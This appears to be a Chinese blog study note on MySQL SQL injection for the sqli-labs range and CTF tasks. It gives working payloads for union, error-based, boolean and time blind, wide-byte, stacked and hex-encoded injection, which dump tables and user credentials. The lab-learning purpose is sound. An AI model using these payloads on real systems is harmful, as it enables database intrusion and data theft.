SQL注入

简单来说sql注入就是在编程人员没有对用户输入的语句进行检查。造成用户输入的恶意语句进入数据库并执行,造成信息泄露,严重可造成系统瘫痪

information_schema数据库
基础:information_schema是一个存放了当前数据库管理系统中所有数据库信息的一个数据库,数据库只能进行读取,不支持修改(增,删,更新)

**1.information_schema.schemata表**:此表存放了当前数据库管理系统下所有的数据库,效果等同于`show databases;`命令
**schema_name列**:其包含了当前数据库管理系统中所有的数据库

**2.information_schema.tables表:** 此表存放了当前数据库管理系统下所有数据库的表,效果等同于所有数据库下`show tables`的合集
table_name列:此列记录当前数据库管理系统中所有表的合集  
table_schema列:此列记录当前数据库管理系统中所有数据库的合集

**3,information_schema.columns表**:此表存放了当前数据库管理系统中所有的列名
table_name列:记录当前数据库管理系统下表的合集  
table_schema列:记录当前数据库管理系统下数据库名的合集  
column_name列:记录当前数据库管理系统下的所有列的合集

mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有字段名对应的数据库。


/**/可以替换空格

 **concat()函数**

首先我们先学一个函数叫concat()函数, 这个函数非常简单

功能:就是将多个字符串连接成一个字符串

语法:concat(字符串1, 字符串2,...) 字符串参数用逗号隔开!

返回值: 结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

select concat('重庆','北京','上海');
输出:重庆北京上海


### **concat_ws()函数**

功能:concat_ws()函数 和 concat()函数一样,也是将多个字符串连接成一个字符串,但是可以指定分隔符!

语法:concat_ws(separator, str1, str2, ...) 第一个参数指定分隔符, 后面依旧是字符串

separator就是分隔符字符!

需要注意的是分隔符不能为null,如果为null,则返回结果为null。

select concat_ws(',',pname,page,psex) from per;
输出:王小华,30,男   

**group_concat()函数**

关于concat()与group_concat()的用法与区别
concat和group_concat都是用在sql语句中做拼接使用的,但是两者使用的方式不尽相同,concat是针对以行数据做的拼接,而group_concat是针对列做的数据拼接,且group_concat自动生成逗号

concat():

 select CONCAT(username,0x7e,password) from users;
结果:
+----------------------------------------+
| CONCAT(username,0x7e,password)         |
+----------------------------------------+
| admin~e10adc3949ba59abbe56e057f20f883e |
| george~afafagafh3427hr5s565s6h565d4fsh |
+----------------------------------------+
2 rows in set (0.00 sec)
group_concat():

 select GROUP_CONCAT(username,0x7e,password) from users;
结果:
+-------------------------------------------------------------------------------+
| GROUP_CONCAT(username,0x7e,password)                                          |
+-------------------------------------------------------------------------------+
| admin~e10adc3949ba59abbe56e057f20f883e,george~afafagafh3427hr5s565s6h565d4fsh |
+-------------------------------------------------------------------------------+
1 row in set (0.00 sec)
concat()有几行数据就输出几行数据

group_concat()将所有数据放在一行,将每组数据用逗号隔开

注:以下数据库,数据表数据都是由sqli-labs靶场而来

做题时只需要改数据库,数据表即可


**联合查询**
version() 查看数据库版本号
查所有数据库
?id=-1‘ union select schema_name,2 from information_schema.schemata--+

查数据库名
?wllm=-1' union select 1,2,database()--+
查数据表表名
group_concat(table_name) from information_schema.tables where table_schema='数据库名' --+

查数据表字段名
group_concat(column_name) from information_schema.columns where table_name='数据表名' --+

查字段当中的记录

group_concat(字段名) from  数据表名--+
group_concat(flag) from  flag--+  用于查找当前库下的flag表下的flag字段,要是不是当前库
例如要指定ctf库中的flag
group_concat(flag) from  ctf.flag--+

报错查询
SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用。

### 报错函数
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
函数利用和语法明白了,下面注入的payload就清楚明白

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中
?id=1' and updatexml(1, 0x7e, 3) -- a      会输出~   `0x7e` 等价于 `~`

如果我们在参数2的位置,将查询语句和特殊符号拼接在一起,就可以将查询结果显示在报错信息中,在地址栏中输入:
?id=1' and updatexml(1, concat(0x7e,version()), 3) -- a   会输出“~”+数据库版本 例~5.5.44
1. version():返回数据库版本
2. concat():拼接特殊符号和查询结果

extractvalue()函数报错注入原理
extractvalue()函数定义
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
作用:从目标XML中返回包含所查询值的字符串;
用法与updatexml相同


updatexml() 函数的报错内容长度不能超过32个字符,常用的解决方式有两种:

1. limit 分页
2. substr()截取字符

 limit 分页

以查询数据库用户为例:
?id=-1' and updatexml(1,concat(0x7e,
    (select user
    from mysql.user limit 1,1)
),3) -- a

substr()截取字符
以查询数据库用户为例:

?id=-1' and updatexml(1,concat(0x7e,
    substr(
        (select group_concat(user)
        from mysql.user)
    ,1, 31)
),3) -- a

三、步骤总结
适用情况:页面有数据库的报错信息

1.报错信息必须是动态的、来自数据库的报错信息。
2.网站写死的、自定义的报错提示不算。

1. 判断是否报错
参数中添加单/双引号,页面报错才可进行下一步。

?id=1' -- a

2. 判断报错条件
参数中添加报错函数,检查报错信息是否正常回显

?id=1' and updatexml(1,'~',3) -- a
1
3. 脱库
获取当前数据库

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)

获取security数据库下的表
?id=1' and updatexml(1,concat('~',
    substr( 
        (select group_concat(table_name)
        from information_schema.tables
        where table_schema = 'security')
    ,1,31)
),3)--+

获取表users下所有字段

?id=1' and updatexml(1,concat('~',
    substr( 
        (select group_concat(column_name)
        from information_schema.columns
        where table_schema = 'security' and table_name = 'users')
    ,1,31)
),3)--+

 获取字段下的记录
 updatexml函数报错内容长度不能超过32个字符,所以不能查看全部的内容,这里也可以用limit一个一个的来进行查看)
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+

?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1) --+#其他字段内容也可用这个方法一个一个查看
limit 0,1 相当于从下标0开始,取1位 (就是查询下标0的数据)
limit作用:将查询结果集的一部分取出来,通常使用在分页查询当中。

limit的用法 完整用法:limit startIndex,length
startIndex是起始下标,
length是长度 起始下标从0开始  缺省用法:limit 5;这是取前5


**布尔注入**

当不知道数据库返回值的情况下时【无回显】,输入 1’and ‘1’='1 和1’and ‘1’='2显示不一样,仅返回正确、或者错误的页面时,存在布尔型盲注入。
与报错注入不同的是,当出现sql语法错误是报错注入会产生错误并返还错误信息,而布尔注入仅返回正确、或者错误的页面
查询库的长度
?id=1' and length(database())=8--+


查询表的第一个名字
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101--+

查询字段的第一个名字
?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=105--+

爆字段的第一个内容
?id=1' and ascii(substr((select group_concat(username,id,password) from users),1,1))=68--+


**时间注入**
与布尔盲注的区别是,不管输入什么回显都是一样的
这时候就要用到时间盲注
?id=1' and if(length(database())=8,sleep(10),1)--+
查询表
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(5),1)--+
查询列:
?id=1'and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(5),1)--+
查询字段
?id=1'and if(ascii(substr((select group_concat(id,username,password) from users),1,1))=111,sleep(5),1)--+


**宽字节注入**

?id=1%df'
?id=1%df' order by 4 --+
?id=1%df' union select 1,2,database()--+
?id=1%df' and union select 1,2 (select group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479)--+//进行hex编码(16进制编码,0x就是16进制的标志)
?id=1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273) --+ 
?id=1%df' union select 1,2,(select group_concat(username,id,password) from users)--+


堆叠注入
?id=1%27;create%20table%20xxx%20like%20users;--+
?id=1%27;insert%20into%20xxx%20values(1,222222222,%27xxx1%27);--+
?id=-1%27%20union%20select%201,(select%20group_concat(id,username,%27%20%27,password)),3%20from%20xxx--+


1、查看数据库
1';show databases;
2、查看表格
1';show tables;
3、查看列
1';show columns from `1919810931114514`;
注:这个纯数字的表名需要使用反引号引起来
4、查看数据
1';select flag from `1919810931114514`;
四、16进制类型(绕过)
1';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值